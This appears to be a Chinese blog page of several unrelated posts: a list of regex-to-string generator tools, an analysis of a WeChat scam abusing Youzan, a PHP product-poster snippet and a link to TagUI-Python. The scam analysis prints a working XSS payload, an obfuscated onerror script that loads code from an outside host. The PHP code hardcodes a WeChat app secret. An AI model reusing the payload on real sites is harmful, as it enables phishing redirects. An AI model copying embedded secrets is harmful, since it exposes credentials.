根据正则表达式反向生成对应的字符串现有工具(包)总结
转自:https://blog.csdn.net/yue530tomtom/article/details/83618286
总结如下:
python
Exrex, Python
Xeger, Python
EGRET, Python/C++
rstr, Python
strgen, Python
StringGenerator, Python
java
Xeger, Java
Generex, Java
MutRex, Java
bfgex, Java
random-string, Java
go
goregen, Go
strrand, Go
regen, Go
其他
Pxeger, Javascript
regex-genex, Haskell
rxrdg, C#
String::Random, Perl
regldg, C
paggern, PHP
ReverseRegex, PHP
randexp.js, Javascript
Fare, C#
randexp, Ruby
regexgen, Javascript
regexp-unfolder, Clojure
string-random, Haskell
rxrdg, C#
Regexp::Genex, Perl
Rex, C#
regexp-examples, Ruby
若有更好的欢迎补充~
利用有赞商品漏洞实现跳转第三方网站
今天在微信里收到一条邀请加群的消息
点击。。。。然后发现上当了,被带到了其他红包诱引分享,强制分享的网页,
要分享3个群,然后又提示分享到朋友圈,等等。。。我靠,强
然后一路点,一路分享,一路点,一路分享,分享了5.6次之后提示红包获取成功啦。提示不要删除朋友圈,红包在排队,24小时内到达微信余额
然后,你要点关闭吧,返回吧,不好意思,这时候广告来了,色情小说、猛药,一直返回一直关闭,无论怎么点都不行,无数条广告在后面等着你的。哎,点X关闭网页吧或者实在不行,你就关掉微信吧
注意哈:我肯定不是真的分享啦,这点我还是懂的,你就假假的点一下分享,然后返回就是了,你要真的分享出去,那你就中了招了,为他带去了无数人了,无数人也被你害惨了。
瞬间感到网友的技术之强大啊,技术出身比较感兴趣,就想看看究竟。
重新打开链接,下拉,发现红包诱惑页面,居然是“有赞”这个平台的域名,哇,兴趣来了。。。看看他是怎么做到的。。
把别个分享出来加群伪装链接收藏一下,然后去收藏夹复制链接。
用CURL工具请求一下,在返回的代码中发现:
<div class="vote-details" action="/v2/apps/vote/vote.json?alias=km0wbw4g&p=1">
<div class="vote-entry question-1"
data-type="text"
data-title=""><img src="x"onerror="document.write(atob(`PHNjcmlwdCBzcmM9aHR0cHM6Ly9hcGkuaW5yZWFsdGVjaC5jb20vaj48L3NjcmlwdD4=`))"><!--"
data-id="62129994"
data-skipdata=""
data-index="1"
>
<div class="control_title">
<h3 class="title">
1. "><img src="x"onerror="document.write(atob(`PHNjcmlwdCBzcmM9aHR0cHM6Ly9hcGkuaW5yZWFsdGVjaC5jb20vaj48L3NjcmlwdD4=`))"><!-- </h3>
<h4 class="sub_title">
</h4>
一看就明白了,商品标题被注入了HTML代码,然后和页面的其他代码拼接起来,就可以实现跳转到任何URL了,注入的内容是:
"><img src="x"onerror="document.write(atob(`PHNjcmlwdCBzcmM9aHR0cHM6Ly9hcGkuaW5yZWFsdGVjaC5jb20vaj48L3NjcmlwdD4=`))"><!--atob() 方法用于解码使用 base-64 编码的字符串。
base-64 编码使用方法是 btoa() 。
PHNjcmlwdCBzcmM9aHR0cHM6Ly9hcGkuaW5yZWFsdGVjaC5jb20vaj48L3NjcmlwdD4=这段字符串就是base-64 编码后的内容,解码出来就是:
<script src=https://api.inrealtech.com/j></script>没错,最终页面加载了这个URL的脚本:https://api.inrealtech.com/j
不过,这个地址是经过处理了的,你访问的话是这个结果(只能在手机的微信里访问并且是有赞的相关的页面才能得到正确脚本内容):
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>攻击者就是通过这个脚本里加入跳转代码,最终让网页漂走的,至于其他的技术就不想去深入了
文章作者:joyber
生成商品推广图片的PHP代码片段
在开发中写了一个生成商品推广海报的功能,代码记录到这里以备后面有需求的时候直接用就可以:
$mod = new Model_Product();
$item = $mod->getProduct($this->_input->id);
if (empty($item)) {
return $this->warning('商品已删除');
}
$conf = Sr::arrayGet($this->conf, 'wxapp');
$page = 'p/index';
if (false) {
//test app
$conf['app_id'] = 'wx499be8478f6cd037';
$conf['secret'] = '9c0e112b45c108f39c7976ca8a36359e';
$page = '';
}
$wxapp = new SrWxApp($conf);
$images = explode(',', $item['image']);
$dst_path = $images[0]; // 背景图
$user_id = $this->_userId;
$filepath = 'product/'.$item['id'].'_' . $user_id . '_' . md5($item['image']) . '.png';
$outpath = $this->conf['upload_path'] . $filepath;
if (is_file($outpath)) {
//邀请海报存在,直接返回
$url = str_replace('http:', 'https:', $this->conf['upload_domain']);
return $this->success(['url'=>$url. $filepath]);
}
if (!is_dir(dirname($outpath))) {
@mkdir(dirname($outpath), 0766, true);
}
$qrcodepath = "product/{$item['id']}_{$user_id}_". md5($page) .'.qrcode.png';
$qrcodefile = $this->conf['upload_path'] . $qrcodepath;
if (!is_file($qrcodefile)) {
//创建二维码
if (!is_dir(dirname($qrcodefile))) {
@mkdir(dirname($qrcodefile), 0766, true);
}
$res = $wxapp->getUnlimit('iid='.$item['id'].'&uid='.$user_id, ['page'=>$page], $qrcodefile);
if (!$res) {
$this->logger->log($wxapp->error, 'create_invite_image_err');
$this->error = '获取二维码失败';
return false;
}
}
//配置
$qrw = 150; //码宽高
$qrh = 150;
$bgx = 575; //码坐标
$bgy = 775;
//创建图片的实例
$dst = imagecreatefromstring(file_get_contents($dst_path));
$src = imagecreatefromstring(file_get_contents($qrcodefile));
//将二维码白色背景透明,接口有参数可以做到透明的
//imagecolortransparent($src, imagecolorallocate($src, 255, 255, 255));
//获取水印图片的宽高
list($dst_w, $dst_h) = getimagesize($dst_path);
list($src_w, $src_h) = getimagesize($qrcodefile);
//创建图像,将二维码和商品图片复制到图片上
$newimg = imagecreatetruecolor(750, 750+200);
//将图片设置成白色
$bgcolor = imagecolorallocate($newimg, 255, 255, 255);
$txtcolor = imagecolorallocate($newimg, 50, 50, 50);
imagefill($newimg, 0,0, $bgcolor);
//写文本
$fontfile = SOTER_APP_PATH . '/data/Alibaba-PuHuiTi-Medium.ttf';
imagefttext($newimg, 24, 0, 25, 750 + 25 + 24, $txtcolor, $fontfile, $item['title']);
imagefttext($newimg, 14, 0, 450, 915, $txtcolor, $fontfile, '长按扫码购买');
imagecopyresampled($newimg, $dst, 0, 0, 0, 0, 750, 750, $dst_w, $dst_h);
imagecopyresampled($newimg, $src, $bgx, $bgy, 0, 0, $qrw, $qrh, $src_w, $src_h);
//将水印图片复制到目标图片上
//imagecopymerge($dst, $src, $bgx, $bgy, 0, 0, $qrw, $qrh, 100);
//生成图片
$uu = imagepng($newimg, $outpath);
//销毁
imagedestroy($dst);
imagedestroy($src);
imagedestroy($newimg);
if ($uu) {
$url = str_replace('http:', 'https:', $this->conf['upload_domain']);
return $this->success(['url' => $url . $filepath]);
}
return $this->warning('创建海报失败'); Python 语言框架实现浏览器、键盘、鼠标自动化操作
一个 Python 的自动化模块,可以自己编写脚本,完成浏览器自动化、键盘自动化、鼠标自动化等操作
https://github.com/tebelorg/TagUI-Python